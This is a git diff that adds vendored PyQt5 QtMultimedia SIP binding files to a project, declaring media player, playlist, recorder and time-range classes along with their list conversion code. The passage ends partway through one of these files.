mediaStatusChanged(QMediaPlayer::MediaStatus status); + void durationChanged(qint64 duration); + void positionChanged(qint64 position); + void volumeChanged(int volume); + void mutedChanged(bool muted); + void audioAvailableChanged(bool available); + void videoAvailableChanged(bool videoAvailable); + void bufferStatusChanged(int percentFilled); + void seekableChanged(bool seekable); + void playbackRateChanged(qreal rate); + void error(QMediaPlayer::Error error); + void networkConfigurationChanged(const QNetworkConfiguration &configuration); + +public: + virtual bool bind(QObject *); + virtual void unbind(QObject *); +%If (Qt_5_6_0 -) + QAudio::Role audioRole() const; +%End +%If (Qt_5_6_0 -) + void setAudioRole(QAudio::Role audioRole); +%End +%If (Qt_5_6_0 -) + QList supportedAudioRoles() const; +%End + +signals: +%If (Qt_5_6_0 -) + void audioRoleChanged(QAudio::Role role); +%End + +public: +%If (Qt_5_11_0 -) + QString customAudioRole() const; +%End +%If (Qt_5_11_0 -) + void setCustomAudioRole(const QString &audioRole); +%End +%If (Qt_5_11_0 -) + QStringList supportedCustomAudioRoles() const; +%End + +signals: +%If (Qt_5_11_0 -) + void customAudioRoleChanged(const QString &role); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayercontrol.sip new file mode 100644 index 00000000..7b56f773 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayercontrol.sip @@ -0,0 +1,72 @@ +// qmediaplayercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaPlayerControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaPlayerControl(); + virtual QMediaPlayer::State state() const = 0; + virtual QMediaPlayer::MediaStatus mediaStatus() const = 0; + virtual qint64 duration() const = 0; + virtual qint64 position() const = 0; + virtual void setPosition(qint64 position) = 0; + virtual int volume() const = 0; + virtual void setVolume(int volume) = 0; + virtual bool isMuted() const = 0; + virtual void setMuted(bool mute) = 0; + virtual int bufferStatus() const = 0; + virtual bool isAudioAvailable() const = 0; + virtual bool isVideoAvailable() const = 0; + virtual bool isSeekable() const = 0; + virtual QMediaTimeRange availablePlaybackRanges() const = 0; + virtual qreal playbackRate() const = 0; + virtual void setPlaybackRate(qreal rate) = 0; + virtual QMediaContent media() const = 0; + virtual const QIODevice *mediaStream() const = 0; + virtual void setMedia(const QMediaContent &media, QIODevice *stream) = 0; + virtual void play() = 0; + virtual void pause() = 0; + virtual void stop() = 0; + +signals: + void mediaChanged(const QMediaContent &content); + void durationChanged(qint64 duration); + void positionChanged(qint64 position); + void stateChanged(QMediaPlayer::State newState); + void mediaStatusChanged(QMediaPlayer::MediaStatus status); + void volumeChanged(int volume); + void mutedChanged(bool mute); + void audioAvailableChanged(bool audioAvailable); + void videoAvailableChanged(bool videoAvailable); + void bufferStatusChanged(int percentFilled); + void seekableChanged(bool seekable); + void availablePlaybackRangesChanged(const QMediaTimeRange &ranges); + void playbackRateChanged(qreal rate); + void error(int error, const QString &errorString); + +protected: + explicit QMediaPlayerControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplaylist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplaylist.sip new file mode 100644 index 00000000..e97a05cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplaylist.sip @@ -0,0 +1,104 @@ +// qmediaplaylist.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaPlaylist : QObject, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum PlaybackMode + { + CurrentItemOnce, + CurrentItemInLoop, + Sequential, + Loop, + Random, + }; + + enum Error + { + NoError, + FormatError, + FormatNotSupportedError, + NetworkError, + AccessDeniedError, + }; + +%If (Qt_5_6_1 -) + explicit QMediaPlaylist(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QMediaPlaylist(QObject *parent /TransferThis/ = 0); +%End + virtual ~QMediaPlaylist(); + virtual QMediaObject *mediaObject() const; + QMediaPlaylist::PlaybackMode playbackMode() const; + void setPlaybackMode(QMediaPlaylist::PlaybackMode mode); + int currentIndex() const; + QMediaContent currentMedia() const; + int nextIndex(int steps = 1) const; + int previousIndex(int steps = 1) const; + QMediaContent media(int index) const; + int mediaCount() const; + bool isEmpty() const; + bool isReadOnly() const; + bool addMedia(const QMediaContent &content); + bool addMedia(const QList &items); + bool insertMedia(int index, const QMediaContent &content); + bool insertMedia(int index, const QList &items); + bool removeMedia(int pos); + bool removeMedia(int start, int end); + bool clear(); + void load(const QNetworkRequest &request, const char *format = 0) /ReleaseGIL/; + void load(const QUrl &location, const char *format = 0) /ReleaseGIL/; + void load(QIODevice *device, const char *format = 0) /ReleaseGIL/; + bool save(const QUrl &location, const char *format = 0) /ReleaseGIL/; + bool save(QIODevice *device, const char *format) /ReleaseGIL/; + QMediaPlaylist::Error error() const; + QString errorString() const; +%If (Qt_5_7_0 -) + bool moveMedia(int from, int to); +%End + +public slots: + void shuffle(); + void next(); + void previous(); + void setCurrentIndex(int index); + +signals: + void currentIndexChanged(int index); + void playbackModeChanged(QMediaPlaylist::PlaybackMode mode); + void currentMediaChanged(const QMediaContent &); + void mediaAboutToBeInserted(int start, int end); + void mediaInserted(int start, int end); + void mediaAboutToBeRemoved(int start, int end); + void mediaRemoved(int start, int end); + void mediaChanged(int start, int end); + void loaded(); + void loadFailed(); + +protected: + virtual bool setMediaObject(QMediaObject *object); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecorder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecorder.sip new file mode 100644 index 00000000..2022a8d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecorder.sip @@ -0,0 +1,118 @@ +// qmediarecorder.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaRecorder : QObject, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + StoppedState, + RecordingState, + PausedState, + }; + + enum Status + { + UnavailableStatus, + UnloadedStatus, + LoadingStatus, + LoadedStatus, + StartingStatus, + RecordingStatus, + PausedStatus, + FinalizingStatus, + }; + + enum Error + { + NoError, + ResourceError, + FormatError, + OutOfSpaceError, + }; + + QMediaRecorder(QMediaObject *mediaObject, QObject *parent /TransferThis/ = 0); + virtual ~QMediaRecorder(); + virtual QMediaObject *mediaObject() const; + bool isAvailable() const; + QMultimedia::AvailabilityStatus availability() const; + QUrl outputLocation() const; + bool setOutputLocation(const QUrl &location); + QUrl actualLocation() const; + QMediaRecorder::State state() const; + QMediaRecorder::Status status() const; + QMediaRecorder::Error error() const; + QString errorString() const; + qint64 duration() const; + bool isMuted() const; + qreal volume() const; + QStringList supportedContainers() const; + QString containerDescription(const QString &format) const; + QStringList supportedAudioCodecs() const; + QString audioCodecDescription(const QString &codecName) const; + QList supportedAudioSampleRates(const QAudioEncoderSettings &settings = QAudioEncoderSettings(), bool *continuous = 0) const; + QStringList supportedVideoCodecs() const; + QString videoCodecDescription(const QString &codecName) const; + QList supportedResolutions(const QVideoEncoderSettings &settings = QVideoEncoderSettings(), bool *continuous = 0) const; + QList supportedFrameRates(const QVideoEncoderSettings &settings = QVideoEncoderSettings(), bool *continuous = 0) const; + QAudioEncoderSettings audioSettings() const; + QVideoEncoderSettings videoSettings() const; + QString containerFormat() const; + void setAudioSettings(const QAudioEncoderSettings &audioSettings); + void setVideoSettings(const QVideoEncoderSettings &videoSettings); + void setContainerFormat(const QString &container); + void setEncodingSettings(const QAudioEncoderSettings &audio, const QVideoEncoderSettings &video = QVideoEncoderSettings(), const QString &container = QString()); + bool isMetaDataAvailable() const; + bool isMetaDataWritable() const; + QVariant metaData(const QString &key) const; + void setMetaData(const QString &key, const QVariant &value); + QStringList availableMetaData() const; + +public slots: + void record(); + void pause(); + void stop(); + void setMuted(bool muted); + void setVolume(qreal volume); + +signals: + void stateChanged(QMediaRecorder::State state); + void statusChanged(QMediaRecorder::Status status); + void durationChanged(qint64 duration); + void mutedChanged(bool muted); + void volumeChanged(qreal volume); + void actualLocationChanged(const QUrl &location); + void error(QMediaRecorder::Error error); + void metaDataAvailableChanged(bool available); + void metaDataWritableChanged(bool writable); + void metaDataChanged(const QString &key, const QVariant &value); + void metaDataChanged(); + void availabilityChanged(QMultimedia::AvailabilityStatus availability /Constrained/); + void availabilityChanged(bool available); + +protected: + virtual bool setMediaObject(QMediaObject *object); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecordercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecordercontrol.sip new file mode 100644 index 00000000..a09e7aa4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediarecordercontrol.sip @@ -0,0 +1,56 @@ +// qmediarecordercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaRecorderControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaRecorderControl(); + virtual QUrl outputLocation() const = 0; + virtual bool setOutputLocation(const QUrl &location) = 0; + virtual QMediaRecorder::State state() const = 0; + virtual QMediaRecorder::Status status() const = 0; + virtual qint64 duration() const = 0; + virtual bool isMuted() const = 0; + virtual qreal volume() const = 0; + virtual void applySettings() = 0; + +signals: + void stateChanged(QMediaRecorder::State state); + void statusChanged(QMediaRecorder::Status status); + void durationChanged(qint64 position); + void mutedChanged(bool muted); + void volumeChanged(qreal volume); + void actualLocationChanged(const QUrl &location); + void error(int error, const QString &errorString); + +public slots: + virtual void setState(QMediaRecorder::State state) = 0; + virtual void setMuted(bool muted) = 0; + virtual void setVolume(qreal volume) = 0; + +protected: + explicit QMediaRecorderControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaresource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaresource.sip new file mode 100644 index 00000000..148f3af5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaresource.sip @@ -0,0 +1,62 @@ +// qmediaresource.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaResource +{ +%TypeHeaderCode +#include +%End + +public: + QMediaResource(); + QMediaResource(const QUrl &url, const QString &mimeType = QString()); + QMediaResource(const QNetworkRequest &request, const QString &mimeType = QString()); + QMediaResource(const QMediaResource &other); + ~QMediaResource(); + bool isNull() const; + bool operator==(const QMediaResource &other) const; + bool operator!=(const QMediaResource &other) const; + QUrl url() const; + QNetworkRequest request() const; + QString mimeType() const; + QString language() const; + void setLanguage(const QString &language); + QString audioCodec() const; + void setAudioCodec(const QString &codec); + QString videoCodec() const; + void setVideoCodec(const QString &codec); + qint64 dataSize() const; + void setDataSize(const qint64 size); + int audioBitRate() const; + void setAudioBitRate(int rate); + int sampleRate() const; + void setSampleRate(int frequency); + int channelCount() const; + void setChannelCount(int channels); + int videoBitRate() const; + void setVideoBitRate(int rate); + QSize resolution() const; + void setResolution(const QSize &resolution); + void setResolution(int width, int height); +}; + +typedef QList QMediaResourceList; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaservice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaservice.sip new file mode 100644 index 00000000..ca3d4a43 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaservice.sip @@ -0,0 +1,36 @@ +// qmediaservice.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaService : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaService(); + virtual QMediaControl *requestControl(const char *name) = 0; + virtual void releaseControl(QMediaControl *control) = 0; + +protected: + QMediaService(QObject *parent /TransferThis/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediastreamscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediastreamscontrol.sip new file mode 100644 index 00000000..9ed62c4b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediastreamscontrol.sip @@ -0,0 +1,52 @@ +// qmediastreamscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaStreamsControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + enum StreamType + { + UnknownStream, + VideoStream, + AudioStream, + SubPictureStream, + DataStream, + }; + + virtual ~QMediaStreamsControl(); + virtual int streamCount() = 0; + virtual QMediaStreamsControl::StreamType streamType(int streamNumber) = 0; + virtual QVariant metaData(int streamNumber, const QString &key) = 0; + virtual bool isActive(int streamNumber) = 0; + virtual void setActive(int streamNumber, bool state) = 0; + +signals: + void streamsChanged(); + void activeStreamsChanged(); + +protected: + explicit QMediaStreamsControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediatimerange.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediatimerange.sip new file mode 100644 index 00000000..a215919b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediatimerange.sip @@ -0,0 +1,78 @@ +// qmediatimerange.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaTimeInterval +{ +%TypeHeaderCode +#include +%End + +public: + QMediaTimeInterval(); + QMediaTimeInterval(qint64 start, qint64 end); + QMediaTimeInterval(const QMediaTimeInterval &); + qint64 start() const; + qint64 end() const; + bool contains(qint64 time) const; + bool isNormal() const; + QMediaTimeInterval normalized() const; + QMediaTimeInterval translated(qint64 offset) const; +}; + +bool operator==(const QMediaTimeInterval &, const QMediaTimeInterval &); +bool operator!=(const QMediaTimeInterval &, const QMediaTimeInterval &); + +class QMediaTimeRange +{ +%TypeHeaderCode +#include +%End + +public: + QMediaTimeRange(); + QMediaTimeRange(qint64 start, qint64 end); + QMediaTimeRange(const QMediaTimeInterval &); + QMediaTimeRange(const QMediaTimeRange &range); + ~QMediaTimeRange(); + qint64 earliestTime() const; + qint64 latestTime() const; + QList intervals() const; + bool isEmpty() const; + bool isContinuous() const; + bool contains(qint64 time) const; + void addInterval(qint64 start, qint64 end); + void addInterval(const QMediaTimeInterval &interval); + void addTimeRange(const QMediaTimeRange &); + void removeInterval(qint64 start, qint64 end); + void removeInterval(const QMediaTimeInterval &interval); + void removeTimeRange(const QMediaTimeRange &); + QMediaTimeRange &operator+=(const QMediaTimeRange &); + QMediaTimeRange &operator+=(const QMediaTimeInterval &); + QMediaTimeRange &operator-=(const QMediaTimeRange &); + QMediaTimeRange &operator-=(const QMediaTimeInterval &); + void clear(); +}; + +bool operator==(const QMediaTimeRange &, const QMediaTimeRange &); +bool operator!=(const QMediaTimeRange &, const QMediaTimeRange &); +QMediaTimeRange operator+(const QMediaTimeRange &, const QMediaTimeRange &); +QMediaTimeRange operator-(const QMediaTimeRange &, const QMediaTimeRange &); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediavideoprobecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediavideoprobecontrol.sip new file mode 100644 index 00000000..48625b37 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediavideoprobecontrol.sip @@ -0,0 +1,38 @@ +// qmediavideoprobecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaVideoProbeControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaVideoProbeControl(); + +signals: + void videoFrameProbed(const QVideoFrame &frame); + void flush(); + +protected: + explicit QMediaVideoProbeControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatareadercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatareadercontrol.sip new file mode 100644 index 00000000..8d9b5733 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatareadercontrol.sip @@ -0,0 +1,42 @@ +// qmetadatareadercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMetaDataReaderControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMetaDataReaderControl(); + virtual bool isMetaDataAvailable() const = 0; + virtual QVariant metaData(const QString &key) const = 0; + virtual QStringList availableMetaData() const = 0; + +signals: + void metaDataChanged(); + void metaDataChanged(const QString &key, const QVariant &value); + void metaDataAvailableChanged(bool available); + +protected: + explicit QMetaDataReaderControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatawritercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatawritercontrol.sip new file mode 100644 index 00000000..bb6f00c2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmetadatawritercontrol.sip @@ -0,0 +1,45 @@ +// qmetadatawritercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMetaDataWriterControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMetaDataWriterControl(); + virtual bool isWritable() const = 0; + virtual bool isMetaDataAvailable() const = 0; + virtual QVariant metaData(const QString &key) const = 0; + virtual void setMetaData(const QString &key, const QVariant &value) = 0; + virtual QStringList availableMetaData() const = 0; + +signals: + void metaDataChanged(); + void metaDataChanged(const QString &key, const QVariant &value); + void writableChanged(bool writable); + void metaDataAvailableChanged(bool available); + +protected: + explicit QMetaDataWriterControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmultimedia.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmultimedia.sip new file mode 100644 index 00000000..f490f2ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmultimedia.sip @@ -0,0 +1,61 @@ +// qmultimedia.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QMultimedia +{ +%TypeHeaderCode +#include +%End + + enum SupportEstimate + { + NotSupported, + MaybeSupported, + ProbablySupported, + PreferredService, + }; + + enum EncodingQuality + { + VeryLowQuality, + LowQuality, + NormalQuality, + HighQuality, + VeryHighQuality, + }; + + enum EncodingMode + { + ConstantQualityEncoding, + ConstantBitRateEncoding, + AverageBitRateEncoding, + TwoPassEncoding, + }; + + enum AvailabilityStatus + { + Available, + ServiceMissing, + Busy, + ResourceError, + }; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qpymultimedia_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qpymultimedia_qlist.sip new file mode 100644 index 00000000..0bc073aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qpymultimedia_qlist.sip @@ -0,0 +1,443 @@ +// This is the SIP interface definition for the QList based mapped types +// specific to the QtMultimedia module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QList + /TypeHintIn="Iterable[QVideoFrame.PixelFormat]", + TypeHintOut="List[QVideoFrame.PixelFormat]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QVideoFrame_PixelFormat); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QVideoFrame_PixelFormat); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QVideoFrame.PixelFormat' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QList + /TypeHintIn="Iterable[QAudioFormat.Endian]", + TypeHintOut="List[QAudioFormat.Endian]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); 